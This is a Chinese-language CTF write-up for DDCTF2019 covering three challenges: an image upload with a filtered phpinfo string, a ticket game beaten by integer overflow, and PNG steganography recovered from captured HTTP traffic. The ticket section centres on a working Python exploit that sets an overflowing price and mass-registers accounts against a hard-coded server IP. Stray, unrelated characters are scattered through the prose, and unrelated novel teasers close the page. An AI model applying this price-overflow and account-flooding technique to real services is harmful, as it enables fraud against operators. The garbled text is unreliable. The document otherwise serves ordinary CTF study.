DDCTF2019 web-writeup(2)

3 upload-IMG

上傳照片之后發(fā)現(xiàn)提示需要包含phpinfo
寫入phpinfo再次上傳發(fā)現(xiàn)還是提示需要包含
發(fā)現(xiàn)它上傳后網(wǎng)頁會顯示上傳的照片
嘗試下載后打開蛀序,和上傳的圖片比對后發(fā)現(xiàn)phpinfo被過濾了



猜測是二次過濾

4 大吉大利今晚吃雞

題目提示要購買入門券并淘汰對手
購買提示余額不足
抓包更改金額小于2000的提示券的金額必須是2000
大于2000的即可更改成功
猜測是整數(shù)溢出

抓包更改金額渔欢,購買成功


進入游戲頁面之后陋葡,可以看到用戶的id和ticket值
點擊移除對手需要輸入id和ticket值
隨便嘗試注冊一個用戶獲得兩個值輸入發(fā)現(xiàn)剩余對手-1
總共要移除100個對手
構造腳本

#coded by 某大佬
import requests

users = {}

def regist(name,pwd='aaaaaaaa'):
    url = 'http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s'%(name,pwd)
    r = requests.get(url=url)
    cookies = r.cookies.get_dict()
    # cookies = requests.utils.dict_from_cookiejar(r.cookies)
    users[cookies['user_name']] = cookies['REVEL_SESSION']
    return cookies['user_name'],cookies['REVEL_SESSION']

def buyticket(name,session):
    url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904'
    header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
    r = requests.get(url=url,headers=header)

    bill_id = eval(r.text)['data'][0]['bill_id']#,requests.utils.dict_from_cookiejar(r.cookies)
    payticket(bill_id,name,session)

def payticket(bill_id,name,session):
    url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
    header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
    r = requests.get(url=url,headers=header)
    myid = eval(r.text)["data"][0]["your_id"]
    ticket = eval(r.text)["data"][0]["your_ticket"]
    getflag(myid,ticket)

def getflag(id,ticket):
    url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s'%(id,ticket)
    header={'Cookie':'user_name=%s; REVEL_SESSION=%s'.format(adminUser,adminSession),'Referer': 'http://117.51.147.155:5050/index.html'}
    r = requests.get(url=url,headers=header)
    print eval(r.text)

adminUser , adminSession = regist('getMyFlag11')
print adminUser,adminSession #important
buyticket(adminUser,adminSession)

for x in range(200,301):
    regist('newUser%s'%(x))
for n in users:
    if n != adminUser:
        buyticket(n,users[n])

腳本是一個大佬寫的 如果不可以轉載的話請大佬和我說
感謝大佬~

腳本需要運行多次,因為好像有一些用戶注冊了之后將會賦予重復id弥奸,重復id再被移除一次不算數(shù)

查看flag —— 登錄腳本注冊的adminUser賬號
進入http://117.51.147.155:5050/index.html#/main/index

5 流量分析

wireshark打開流量包,導出http分組



下載6420分組的圖片

過濾表達式http.request.method == POST
找到分組1782 還有另一張圖片
右擊-追蹤流-http流
要恢復里面post的png圖像 - 點擊顯示和保存轉為原始數(shù)據(jù) - Save as



刪除多余的數(shù)據(jù)
png圖像開頭為89 50 4E 47 —— ‰PNG(每個png文件相同)
結束為 49 45 4E 44 ——IEND(每個png文件相同)
還有四個字節(jié) AE 42 60 82 (每個文件不同)
另存為再次打開

這里有個坑點:圖片高寬出現(xiàn)問題,如果是linux/mac系統(tǒng)距淫,無法直接打開圖片;windows系統(tǒng)可以直接打開

打開是個鑰匙的圖案 猜測是圖片隱寫
49 48 44 52 IHDR標識(每個png文件都有)
00 00 06 3E 表示圖片的寬 1598像素
00 00 02 18 表示圖片長 536像素
更改圖片長為00 00 06 3E 獲得密碼key:gKvN4eEm

導出的http分組中有一個網(wǎng)站http://tools.jb51.net/aideddesign/img_add_info
是圖片在線解密婶希,輸入圖片和密碼榕暇,得到flag!

希望下次比賽可以拿獎啊彤枢!

?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末撤蟆,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子堂污,更是在濱河造成了極大的恐慌,老刑警劉巖龄砰,帶你破解...
    沈念sama閱讀 217,542評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件盟猖,死亡現(xiàn)場離奇詭異,居然都是意外死亡换棚,警方通過查閱死者的電腦和手機式镐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評論 3 394
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來固蚤,“玉大人娘汞,你說我怎么就攤上這事∠ν妫” “怎么了你弦?”我有些...
    開封第一講書人閱讀 163,912評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長燎孟。 經(jīng)常有香客問我禽作,道長,這世上最難降的妖魔是什么揩页? 我笑而不...
    開封第一講書人閱讀 58,449評論 1 293
  • 正文 為了忘掉前任旷偿,我火速辦了婚禮,結果婚禮上爆侣,老公的妹妹穿的比我還像新娘萍程。我一直安慰自己,他們只是感情好兔仰,可當我...
    茶點故事閱讀 67,500評論 6 392
  • 文/花漫 我一把揭開白布茫负。 她就那樣靜靜地躺著,像睡著了一般乎赴。 火紅的嫁衣襯著肌膚如雪朽褪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,370評論 1 302
  • 那天无虚,我揣著相機與錄音缔赠,去河邊找鬼。 笑死友题,一個胖子當著我的面吹牛嗤堰,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 40,193評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼踢匣,長吁一口氣:“原來是場噩夢啊……” “哼告匠!你這毒婦竟也來了?” 一聲冷哼從身側響起离唬,我...
    開封第一講書人閱讀 39,074評論 0 276
  • 序言:老撾萬榮一對情侶失蹤后专,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后输莺,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體戚哎,經(jīng)...
    沈念sama閱讀 45,505評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,722評論 3 335
  • 正文 我和宋清朗相戀三年嫂用,在試婚紗的時候發(fā)現(xiàn)自己被綠了子眶。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片抗俄。...
    茶點故事閱讀 39,841評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出囊拜,到底是詐尸還是另有隱情感混,我是刑警寧澤态兴,帶...
    沈念sama閱讀 35,569評論 5 345
  • 正文 年R本政府宣布页衙,位于F島的核電站,受9級特大地震影響函似,放射性物質發(fā)生泄漏荸实。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,168評論 3 328
  • 文/蒙蒙 一缴淋、第九天 我趴在偏房一處隱蔽的房頂上張望准给。 院中可真熱鬧,春花似錦重抖、人聲如沸露氮。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽畔规。三九已至,卻和暖如春恨统,著一層夾襖步出監(jiān)牢的瞬間叁扫,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評論 1 269
  • 我被黑心中介騙來泰國打工畜埋, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留莫绣,地道東北人。 一個月前我還...
    沈念sama閱讀 47,962評論 2 370
  • 正文 我出身青樓悠鞍,卻偏偏與公主長得像对室,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,781評論 2 354

推薦閱讀更多精彩內(nèi)容